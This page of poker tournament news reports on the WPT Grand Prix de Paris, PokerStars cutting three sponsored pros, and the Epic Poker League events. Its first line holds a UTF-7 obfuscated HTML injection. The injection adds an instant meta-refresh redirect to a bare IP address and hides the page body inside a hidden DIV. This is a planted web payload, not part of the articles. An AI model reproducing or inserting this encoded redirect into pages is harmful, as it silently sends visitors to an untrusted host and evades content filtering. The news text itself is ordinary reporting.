+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Day 2 of the World Poker Tour Grand Prix De Paris is now in the books and over 100 players were sent to the rail. A field of just 61 players will start on Day 3 after 167 began Day 2, and no player has better positioning than Franck Pepe, who holds 432k in chips. Pepe already proved his ability to excel in a major tournament last year when he finished second in WPT Amneville.

Mikko Sundell, the Day 1 chip leader, continued to put on a strong showing and built his chip stack to just over 334k. The field is incredibly dangerous right now with top players such as Alexandre Brivot, Guillaume Darcourt, McLean Karr, Matt Waxman and Dori Yacoub all possessing chip stacks between 200k and 370k.

Some of the more notable eliminations on Day 2 included Mike Sexton of poker announcing fame and Dominik Nitsche. The latter player engaged in a showdown with Fred Magen. A pair of 9s was nowhere near strong enough to topple Magen’s pocket queens, especially given the additional queen that came in the flop.

Sexton took a genuinely bad beat late in the day when he pushed all in with pocket aces. He went up against Q-J of clubs, and three additional clubs on the flop all but secured his loss. He drew dead on the turn and river and quickly made his exit to the rail.

Some of the other players that were also met with elimination on Day 2 included Olivier Busquet, Casey Kastle, Tony Dunst, Joe Ebanks and Jeff Vertes.

Despite such a large number of eliminations, it could have been even worse given that Day 2 was unexpectedly cut short. That means that there will be some catching up to do on Day 3, when the remaining players will compete for a piece of the $3.16 million that’s available to the top 36 players.

The after effects of Black Friday are still rumbling in the poker world as PokerStars has trimmed its roster of sponsored pros by dropping three US-based poker players. The three players who saw their PokerStars contracts expire were former Main Event Champion Tom McEvoy, former November Niner Dennis Phillips, and noted poker author and theoretician Bill Chen according to WickedChops Poker.

All three players cut from the site were older players, who focused mainly on live poker tournaments, which likely contributed to the site’s decision to part ways with the trio.

McEvoy is considered one of poker’s old-guard players, and simply hasn’t been able to break-through in today’s poker world.

Chen keeps a low profile in the poker world, and despite penning recent additions to many player’s poker libraries, most poker fans wouldn’t be able to pick him out of a crowd.

Phillips was PokerStars “everyman” player, and was heavily marketed by PokerStars. By far this was the most surprising cut.

Even though none of the three are considered top-tier pros, and lack the marketability of younger players, the move is just a further sign that the sponsorship business is likely to dry up for all US poker pros unless they are in the extreme upper echelon of players.

This is unlikely to be the last haircut the US roster of sponsored poker players receives, especially as some of the high-profile Full Tilt Poker pros come on the market, and PokerStars and other sites have already shown that their focus has shifted to the European and Asian markets.

On Monday nine poker players managed to bag a $20,000 Epic Poker League Main Event seat by virtue of reaching the EPL Pro/Am final table. Amongst the nine players who reached the final table of the Epic Poker League Pro/Am were three players who were already eligible to participate in the Main Event (which is only open to a select group of a few hundred poker players, as well as the nine qualifiers from the Pro/Am), the most prominent of which being Phil Hellmuth.

Joining Hellmuth at the final table were EPL members Greg Mueller and Nam Le (who finished 1^st and 2^nd respectively), as well as non-EPL members Andreas Hoivold, Sean Getzwiller, Brandon Meyers, Russell Rosenbum, Jeremy Ausmus and Michael DiVita. Remarkably, Meyers and Getzwiller have qualified to play in the Epic Poker League Main Event at both Pro/Am tournaments thus far, with Meyers turning his first entry into a $70k payday last month.

In order for the Pro/Am to cover the guaranteed nine $20k seats awarded the tournament needs to attract at least 132 entrants. Unfortunately, with the European Poker schedule in full swing and the PokerStars WCOOP running only 97 players made it out for the Pro/Am event, forcing the EPL to add over $50k to the prize-pool.

Even though 1^st through 9^th place would receive the same prize, tournament officials and some of the players decided it was best to play the Pro/Am out to its conclusion because of the Global Poker Index which ranks players based on their tournament success.

The second Main Event of the Epic Poker League’s inaugural season is currently well under way in Las Vegas at the Palms Resort Casino. A total of 96 players arrived and paid their sizable buy-ins, creating a prize pool of just over $2.3 million. Jaime Kaplan, who qualified for Main Event 2 through an EPL Pro/Am, is leading the charge with a chip stack measuring 324,600. Kaplan was actually just on the wrong side of the qualifier bubble in 10th place following the Pro/Am, but a late withdrawal from Michael DiVita afforded him a seat.

Just under half of the Pro/Am qualifiers have already hit the rail, including Andreas Holvold, Russell Rosenblum, Jeremy Ausmus and Brandon Meyers. Some of the more famous pros joining them on the rail include Vanessa Selbst, Phil Laak, Gavin Smith and Antonio Esfandiari. The qualifiers that managed to survive the day include Greg Mueller, Sean Getzwiller, Nam Le and the divisive Phil Hellmuth.

Although Kaplan is the only Pro/Am qualifier currently holding a dangerous chip stack, plenty of those who bought in directly are hot on his trail. The leaderboard is filled with worthy challengers such as Mike McDonald, Alec Torell, Dan O’Brien and Chino Rheem, who was victorious in EPL Main Event 1, but has been embroiled in debt repayment controversy ever since.

Justin Bonomo, who recently announced his decision to move to Malta to continue his online poker career, managed to knock out Michael Mizrachi on the strength of his J-J. Bonomo will join a total of 50 other players on Day 2.

Action is expected to become even more fierce on Day 2, when the field of 51 will whittle itself down further. The top 12 players will receive a payout, with a tidy sum of $782k reserved for the winner.

The Aviation Club de France once again played host to the World Poker Tour’s Grand Prix de Paris poker tournament yesterday, this time for the second and final starting flight of the event. Organizers’ expectations were exceeded when 172 players arrived to pay their buy-ins, bringing the total number of competitors to 312 and generating an incredible $3.16 million prize pool. A total of 167 players remain from Day 1a and 1b, and the race for the $730k first-place prize is on.

After a full day of action, the Day 1b competitor pool was reduced to 97, and Guillaume Darcourt finished the day strongest of all with just over 198k chips. He faced some tough competition throughout the day, including current November Niners Sam Holden and Phil Collins. Holden survived the day handily, while Collins was sent to the rail early in the action. Other notable Day 1b eliminations including Jean-Robert Bellande, Michael Tureniac and Anton Wigg.

Darcourt still has a long road ahead of him to the final table, though his credentials speak for themselves. Most recently, he finished in 46th at EPT Barcelona, and this past summer he earned an impressive $243k in the WSOP Main Event after landing in 35th.

Plenty of other big name pros including Tony Dunst, Jason Mercier, McLean Karr, Martin Jacobson and Joe Ebanks escaped Day 1b with bountiful chip stacks as well. Darcourt will be third on the overall leaderboard heading into Day 2, as his chip stack is eclipsed by both Mikko Sundell and Yann Dion who amassed piles totaling 204k and 201k, respectively, on Day 1a.

Although it’s still too early to say just when the money bubble will be broken, it is known that cash is reserved or the top 36 finishers. The player landing in the 36th position will receive just under $16k for his or her efforts.